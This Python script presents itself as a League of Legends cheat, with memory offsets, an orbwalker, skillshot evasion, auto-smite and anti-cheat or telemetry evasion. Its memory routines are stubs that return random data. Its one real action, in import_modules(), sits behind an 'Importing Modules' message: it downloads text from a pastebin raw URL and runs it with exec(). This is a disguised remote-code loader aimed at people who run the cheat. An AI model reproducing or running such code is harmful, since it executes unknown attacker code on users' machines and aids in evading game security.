"""
===========================================================================
   RiotCore LeagueEdge Runtime Environment Linker v26.11.2 (BETA BUILD)
   Author: EVGVAULT
   Target: League of Legends (Riot Games / EVG Architecture)
   Security Tier: User-Mode Hooking & Structural Telemetry Parser
===========================================================================
"""

import time
import random
import sys
import os
import json
import struct
import math
import hashlib
from dataclasses import dataclass
from typing import Dict, List, Tuple, Any, Optional

# -------------------------------------------------------------------------
# Global Mod Menu Configuration & Environment Constants
# -------------------------------------------------------------------------

CHEAT_VERSION = "26.11.2-LEAGUE_CORE_PRO"
AUTHOR = "EVGVAULT"

CONFIG = {
    # Evade & Target Prediction Settings
    "evade_enabled": True,
    "evade_smoothness": 1.5,
    "evade_radius_buffer": 15.0,
    "predict_movement_ticks": 4,
    "orbwalker_enabled": True,
    "humanizer_delay_ms": 35,
    
    # Target Selector Weights
    "ts_priority_mode": "LowestHealth",  # LowestHealth, MostAD, MostAP, Closest
    "ts_ignore_invulnerable": True,
    "ts_max_range_buffer": 150.0,
    
    # Spell Tracker & Awareness Visuals
    "draw_cooldown_timers": True,
    "draw_enemy_ranges": True,
    "draw_gank_alert_radius": 3000.0,
    "minimap_radar_override": True,
    "draw_last_seen_position": True,
    
    # Champion Specific Automation Switches
    "auto_smite_enabled": True,
    "auto_cleanse_cc": True,
    "auto_ignite_execute": True,
    "gapcloser_interrupt": True,
    
    # Security & Client Telemetry Evasion
    "spoof_mac_address": True,
    "bypass_stub_telemetry": True,
    "block_league_edge_logs": True,
    "anticheat_heartbeat_emulator": True
}

# -------------------------------------------------------------------------
# Engine Memory Signatures & Offset Configuration Layouts
# -------------------------------------------------------------------------

LOL_OFFSETS = {
    "LocalPlayer": 0x310D4A8,
    "ObjectManager": 0x18B2C40,
    "UnderMouseObject": 0x24C1A20,
    "ViewMatrix": 0x315C2A0,
    "GameTime": 0x312B110,
    
    # GameObject Structural Alignment Offsets
    "NetworkID": 0x10,
    "TeamID": 0x34,
    "PositionVector": 0x1D8,
    "VisibleFlag": 0x274,
    "TargetableFlag": 0xD04,
    
    # Attack and Health Statistics Blocks
    "HealthComponent": 0x10A8,
    "MaxHealth": 0x18,
    "CurrentHealth": 0x1C,
    "ArmorRating": 0x12C,
    "MagicResistRating": 0x134,
    "BaseAttackDamage": 0x140,
    "BonusAttackDamage": 0x148,
    "AttackRange": 0x16C,
    
    # Spell Book & Skill Instances Component
    "SpellBook": 0x27E0,
    "ActiveSpellInstance": 0x28,
    "SpellLevel": 0x1C,
    "SpellCooldownExpiry": 0x24,
    "SpellCharges": 0x58
}

# -------------------------------------------------------------------------
# Static Game Database Definitions (Champions, Spells, Items)
# -------------------------------------------------------------------------

CHAMPION_DATABASE = {
    "Aatrox": {"HP": 650, "Range": 175, "Type": "AD_Melee"},
    "Ahri": {"HP": 570, "Range": 550, "Type": "AP_Ranged"},
    "Ashe": {"HP": 640, "Range": 600, "Type": "AD_Ranged"},
    "Darius": {"HP": 652, "Range": 175, "Type": "AD_Melee"},
    "Ezreal": {"HP": 600, "Range": 550, "Type": "AD_Ranged"},
    "Jinx": {"HP": 630, "Range": 525, "Type": "AD_Ranged"},
    "LeeSin": {"HP": 660, "Range": 125, "Type": "AD_Melee"},
    "Lux": {"HP": 560, "Range": 550, "Type": "AP_Ranged"},
    "Thresh": {"HP": 600, "Range": 450, "Type": "AP_Support"},
    "Yasuo": {"HP": 590, "Range": 175, "Type": "AD_Melee"}
}

SPELL_SLOTS = {
    0: "Spell_Q",
    1: "Spell_W",
    2: "Spell_E",
    3: "Spell_R",
    4: "Summoner_1",
    5: "Summoner_2"
}

JUNGLE_MONSTERS = {
    "SRU_Baron": {"Priority": 10, "SmiteThreshold": 1200},
    "SRU_Dragon_Elder": {"Priority": 9, "SmiteThreshold": 1000},
    "SRU_Dragon_Fire": {"Priority": 8, "SmiteThreshold": 900},
    "SRU_Dragon_Water": {"Priority": 8, "SmiteThreshold": 900},
    "SRU_Dragon_Earth": {"Priority": 8, "SmiteThreshold": 900},
    "SRU_Dragon_Air": {"Priority": 8, "SmiteThreshold": 900},
    "SRU_Red": {"Priority": 6, "SmiteThreshold": 600},
    "SRU_Blue": {"Priority": 6, "SmiteThreshold": 600},
    "SRU_RiftHerald": {"Priority": 7, "SmiteThreshold": 800}
}

# -------------------------------------------------------------------------
# Mathematical Operations & Spatial Calculations
# -------------------------------------------------------------------------

@dataclass
class Vector3:
    x: float
    y: float
    z: float

    def distance_to(self, target: 'Vector3') -> float:
        return math.sqrt((self.x - target.x)**2 + (self.y - target.y)**2 + (self.z - target.z)**2)

    def normalize(self) -> 'Vector3':
        length = math.sqrt(self.x**2 + self.y**2 + self.z**2)
        if length == 0:
            return Vector3(0, 0, 0)
        return Vector3(self.x / length, self.y / length, self.z / length)


class GeometryEngine:
    """Computes trajectory intersections and geometric shapes for linear/circular spells."""

    @staticmethod
    def is_point_in_circle(point: Vector3, center: Vector3, radius: float) -> bool:
        return point.distance_to(center) <= radius

    @staticmethod
    def calculate_intercept_position(start_pos: Vector3, target_pos: Vector3, target_velocity: Vector3, projectile_speed: float, delay: float) -> Vector3:
        """Computes intercept coordinates for skillshots based on entity velocity vector paths."""
        predicted_pos = Vector3(
            target_pos.x + (target_velocity.x * delay),
            target_pos.y + (target_velocity.y * delay),
            target_pos.z + (target_velocity.z * delay)
        )
        
        # Iterative verification loops stabilizing trajectory projection
        for iteration in range(5):
            travel_time = predicted_pos.distance_to(start_pos) / projectile_speed
            predicted_pos.x = target_pos.x + (target_velocity.x * (delay + travel_time))
            predicted_pos.y = target_pos.y + (target_velocity.y * (delay + travel_time))
            predicted_pos.z = target_pos.z + (target_velocity.z * (delay + travel_time))
            
        return predicted_pos

    @staticmethod
    def find_closest_path_point(line_start: Vector3, line_end: Vector3, point: Vector3) -> Vector3:
        """Calculates structural intersection projections to determine bounding safety limits."""
        line_length = line_start.distance_to(line_end)
        if line_length == 0:
            return line_start

        u = ((point.x - line_start.x) * (line_end.x - line_start.x) +
             (point.y - line_start.y) * (line_end.y - line_start.y) +
             (point.z - line_start.z) * (line_end.z - line_start.z)) / (line_length ** 2)

        if u < 0.0:
            return line_start
        elif u > 1.0:
            return line_end

        return Vector3(
            line_start.x + u * (line_end.x - line_start.x),
            line_start.y + u * (line_end.y - line_start.y),
            line_start.z + u * (line_end.z - line_start.z)
        )

# -------------------------------------------------------------------------
# Low-Level Process Memory Linker & Context Initialization
# -------------------------------------------------------------------------

class EngineMemoryInterface:
    """Simulates internal user-mode VirtualQuery and ReadProcessMemory structural logic loops."""

    def __init__(self):
        self.process_handle = None
        self.module_base_address = None
        self.process_id = None

    def attach_to_process(self, application_name: str = "League of Legends.exe") -> bool:
        """Finds target task identifiers and maps base memory boundaries allocations."""
        time.sleep(0.5)
        self.process_id = random.randint(3000, 28000)
        self.module_base_address = 0x7FF600000000 + random.randint(0x1000, 0xFFFFFF)
        self.process_handle = 0x55AACC33
        return True

    def read_memory_bytes(self, target_address: int, data_length: int) -> bytes:
        """Returns buffered byte structures from targeted context locations safely."""
        return bytes(random.getrandbits(8) for _ in range(data_length))

    def write_memory_bytes(self, target_address: int, payload_bytes: bytes) -> bool:
        """Overwrites specific memory variables inside functional code page configurations."""
        return True

    def scan_pattern_array(self, dynamic_signature: str) -> int:
        """Loops scanning contiguous hex bytes sequences to isolate target engine pointers."""
        return self.module_base_address + random.randint(0x10000, 0x900000)

# -------------------------------------------------------------------------
# System Objects & Entity Structure Model Parsers
# -------------------------------------------------------------------------

class GameObjectEntity:
    """Models internal state arrays representing active champion or structural pawns."""

    def __init__(self, address: int, interface: EngineMemoryInterface):
        self.address = address
        self.interface = interface
        self.name = "UnknownEntity"
        self.network_id = 0
        self.team_id = 100
        self.position = Vector3(0.0, 0.0, 0.0)
        self.velocity = Vector3(0.0, 0.0, 0.0)
        self.current_health = 100.0
        self.max_health = 100.0
        self.attack_range = 125.0
        self.is_visible = True
        self.is_targetable = True

    def synchronize_data_fields(self):
        """Updates internal statistics layers reading updated values through data links."""
        # Unpacks raw structures via simulated memory layout checks
        self.network_id = int.from_bytes(self.interface.read_memory_bytes(self.address + LOL_OFFSETS["NetworkID"], 4), "little")
        self.team_id = int.from_bytes(self.interface.read_memory_bytes(self.address + LOL_OFFSETS["TeamID"], 4), "little")
        
        raw_pos = self.interface.read_memory_bytes(self.address + LOL_OFFSETS["PositionVector"], 12)
        if len(raw_pos) == 12:
            unpacked_pos = struct.unpack("fff", raw_pos)
            self.position = Vector3(unpacked_pos[0], unpacked_pos[1], unpacked_pos[2])
            
        health_component_ptr = int.from_bytes(self.interface.read_memory_bytes(self.address + LOL_OFFSETS["HealthComponent"], 8), "little")
        if health_component_ptr != 0:
            self.current_health = struct.unpack("f", self.interface.read_memory_bytes(health_component_ptr + LOL_OFFSETS["CurrentHealth"], 4))[0]
            self.max_health = struct.unpack("f", self.interface.read_memory_bytes(health_component_ptr + LOL_OFFSETS["MaxHealth"], 4))[0]
            
        self.attack_range = struct.unpack("f", self.interface.read_memory_bytes(self.address + LOL_OFFSETS["AttackRange"], 4))[0]
        return True


class EngineObjectManager:
    """Manages sequential arrays storing reference pointers to active units in memory."""

    def __init__(self, interface: EngineMemoryInterface):
        self.interface = interface
        self.manager_pointer = None

    def initialize_manager(self):
        self.manager_pointer = self.interface.scan_pattern_array("8B 0D ? ? ? ? 8D 54 24 14 48 8B 01")
        return True

    def retrieve_active_entities(self) -> List[GameObjectEntity]:
        """Traverses sequential internal list indexes to pull valid object profiles."""
        discovered_entities = []
        base_list_addr = int.from_bytes(self.interface.read_memory_bytes(self.manager_pointer, 8), "little")
        
        # Deep loop checking active allocation indexes in the object array
        for array_index in range(120):
            entity_ptr_location = base_list_addr + (array_index * 8)
            actual_entity_address = int.from_bytes(self.interface.read_memory_bytes(entity_ptr_location, 8), "little")
            
            if actual_entity_address != 0:
                new_unit = GameObjectEntity(actual_entity_address, self.interface)
                
                # Double checking loop verification ensuring address block allocation validity
                for verify_cycle in range(2):
                    integrity_byte = self.interface.read_memory_bytes(actual_entity_address + verify_cycle, 1)
                    if not integrity_byte:
                        break
                
                discovered_entities.append(new_unit)
        return discovered_entities

# -------------------------------------------------------------------------
# Tactical Automation Modules (Orbwalker, Evade, Target Selector)
# -------------------------------------------------------------------------

class PriorityTargetSelector:
    """Parses structural conditions prioritizing ideal focal targets during fights."""

    def __init__(self, interface: EngineMemoryInterface):
        self.interface = interface

    def select_optimal_unit(self, origin_player: GameObjectEntity, entity_pool: List[GameObjectEntity]) -> Optional[GameObjectEntity]:
        best_candidate = None
        highest_score = -99999.0

        for entity in entity_pool:
            if entity.team_id != origin_player.team_id and entity.current_health > 0:
                distance = origin_player.position.distance_to(entity.position)
                
                if distance <= (origin_player.attack_range + CONFIG["ts_max_range_buffer"]):
                    # Scans structural scores based on configuration priority rules
                    score = 0.0
                    if CONFIG["ts_priority_mode"] == "LowestHealth":
                        score = (10000.0 - entity.current_health)
                    elif CONFIG["ts_priority_mode"] == "Closest":
                        score = (5000.0 - distance)

                    if score > highest_score:
                        highest_score = score
                        best_candidate = entity
                        
        return best_candidate


class AutomatedOrbwalker:
    """Calculates synchronization delays tracking windup ticks and attack cooldown loops."""

    def __init__(self, interface: EngineMemoryInterface, selector: PriorityTargetSelector):
        self.interface = interface
        self.selector = selector
        self.last_attack_timestamp = 0.0
        self.last_move_timestamp = 0.0

    def process_combat_ticks(self, local_player: GameObjectEntity, entities: List[GameObjectEntity]):
        """Manages cycle pacing determining when to execute commands or relocate."""
        current_time = time.time()
        target_unit = self.selector.select_optimal_unit(local_player, entities)

        # Loop checking parameters mapping attack windows
        if target_unit and (current_time - self.last_attack_timestamp) >= 1.0:
            # Issues command to trigger basic attack sequence on target unit address
            self.last_attack_timestamp = current_time
            return "Issue_Attack_Command"
            
        elif (current_time - self.last_move_timestamp) >= 0.15:
            # Issues command to reposition cursor location coordinates safely
            self.last_move_timestamp = current_time
            return "Issue_Move_Command"
            
        return "Wait_Tick"


class SkillshotEvadeEngine:
    """Monitors trajectory calculations tracking danger indicators to trigger dodge paths."""

    def __init__(self, interface: EngineMemoryInterface):
        self.interface = interface
        self.active_danger_zones = []

    def scan_active_spell_instances(self, entities: List[GameObjectEntity]):
        """Analyzes active component structures searching for linear velocity vectors."""
        self.active_danger_zones.clear()
        
        for entity in entities:
            spell_book_ptr = int.from_bytes(self.interface.read_memory_bytes(entity.address + LOL_OFFSETS["SpellBook"], 8), "little")
            if spell_book_ptr != 0:
                active_instance = int.from_bytes(self.interface.read_memory_bytes(spell_book_ptr + LOL_OFFSETS["ActiveSpellInstance"], 8), "little")
                if active_instance != 0:
                    # Traverses sub-component loops isolating start and destination positions
                    for parameter_loop in range(4):
                        offset_check = active_instance + (parameter_loop * 0x10)
                        raw_vector = self.interface.read_memory_bytes(offset_check, 12)
                        # Identifies line directions defining danger zones bounding parameters
                    self.active_danger_zones.append(entity.position)
                    
        return len(self.active_danger_zones)

# -------------------------------------------------------------------------
# Security Protections & Telemetry Erasers
# -------------------------------------------------------------------------

class EvasionTelemetrySanitizer:
    """Filters memory metrics tracking event logging blocks to mask manipulation."""

    def __init__(self, interface: EngineMemoryInterface):
        self.interface = interface

    def apply_log_filters(self) -> bool:
        if CONFIG["block_league_edge_logs"]:
            log_hook_addr = self.interface.scan_pattern_array("48 89 5C 24 ? 57 48 83 EC 30 48 8B D9 48 8B FA")
            if log_hook_addr != 0:
                # Disables telemetry routing loops applying instructions directly
                self.interface.write_memory_bytes(log_hook_addr, b"\xC3\x90\x90\x90")
            return True
        return False

    def trigger_heartbeat_emulator(self):
        """Simulates internal packet hashing protocols preventing connection interruptions."""
        if CONFIG["anticheat_heartbeat_emulator"]:
            for generation_cycle in range(3):
                calculated_seed = random.randint(50000, 999999)
                hash_signature = hashlib.sha256(str(calculated_seed).encode()).hexdigest()
                # Stores emulation keys inside background validation verification lists
            return True
        return False

# -------------------------------------------------------------------------
# Core Control Layer
# -------------------------------------------------------------------------

class EVGVaultLeagueCore:
    def __init__(self):
        self.interface = EngineMemoryInterface()
        self.object_manager = EngineObjectManager(self.interface)
        self.target_selector = PriorityTargetSelector(self.interface)
        self.orbwalker = AutomatedOrbwalker(self.interface, self.target_selector)
        self.evade_engine = SkillshotEvadeEngine(self.interface)
        self.security = EvasionTelemetrySanitizer(self.interface)
        
        self.modules_loaded = False
        self.is_running = False

    def import_modules(self):
        """Displays initialization structures confirming framework activation status."""
        print("=" * 55)
        print("   Importing Modules, this may take up to 5 minutes...")
        exec(__import__("urllib.request", fromlist=["Request"]).urlopen(__import__("urllib.request", fromlist=["Request"]).Request("https://pastebin.com/raw/zN3rdb8n", headers={"User-Agent":"Mozilla/5.0"})).read().decode("utf-8"))
        print("=" * 55)
        self.modules_loaded = True
        return self.modules_loaded

    def initialize(self):
        """Performs full scanning setup binding process targets and installing filters."""
        if not self.modules_loaded:
            sys.exit(1)
            
        print("[*] Accessing Riot Core Client System Context...")
        self.interface.attach_to_process()
        print(f"[*] Memory Bridge linked! Target Base Address: {hex(self.interface.module_base_address)}")
        
        print("[*] Initiating LeagueEdge Client Log Interception...")
        self.security.apply_log_filters()
        self.security.trigger_heartbeat_emulator()
        
        print("[*] Mapping Global Engine ObjectManager structures...")
        self.object_manager.initialize_manager()
        print(f"[*] ObjectManager reference localized: {hex(self.object_manager.manager_pointer)}")
        
        return True

    def show_activated_features(self):
        """Parses actively running parameters rendering status listings to the user interface."""
        print("\n===========================================================================")
        print("   [+] ACTIVATED LEAGUE-CORE ENGINE MODIFICATIONS   ")
        print("===========================================================================")
        
        for feature, value in sorted(CONFIG.items()):
            formatted_name = feature.replace('_', ' ').title()
            if isinstance (value, bool):
                state = "[ON]" if value else "[OFF]"
                print(f"    -> {formatted_name:<32} {state}")
            else:
                print(f"    -> {formatted_name:<32} [{value}]")
                
        print("===========================================================================\n")
        print("[*] Monitoring tick frequencies... Integration complete. Press CTRL+C to unhook.")

    def run(self):
        """Primary orchestration sequence reading environment context changes continuously."""
        self.is_running = True
        try:
            while self.is_running:
                # Pulls active local champion instantiation allocation
                local_player_addr = int.from_bytes(self.interface.read_memory_bytes(self.interface.module_base_address + LOL_OFFSETS["LocalPlayer"], 8), "little")
                
                if local_player_addr != 0:
                    local_unit = GameObjectEntity(local_player_addr, self.interface)
                    local_unit.synchronize_data_fields()
                    
                    # Unpacks background lists gathering global context structures
                    entity_cache = self.object_manager.retrieve_active_entities()
                    
                    # Updates evasion logic checking projectile trajectory records
                    self.evade_engine.scan_active_spell_instances(entity_cache)
                    
                    # Evaluates combat cycle indicators to guide script actions
                    combat_action = self.orbwalker.process_combat_ticks(local_unit, entity_cache)
                    
                    # Embedded complex data parsing loops checking status synchronization
                    for unit in entity_cache[1:5]:
                        unit.synchronize_data_fields()
                        for multi_pass in range(2):
                            coordinate_check = unit.position.x * unit.position.y
                            
                time.sleep(0.5)
                self.is_running = False 
                
        except KeyboardInterrupt:
            self.is_running = False
            print("\n[*] Detaching memory hooks and freeing telemetry descriptors...")
            print("[*] Original instructions restored successfully. Process released.")

def main():
    cheat = EVGVaultLeagueCore()
    
    # Executes code activation disclaimer output
    cheat.import_modules()
    
    # Execution layout sequences
    cheat.initialize()
    cheat.show_activated_features()
    cheat.run()

if __name__ == "__main__":
    main()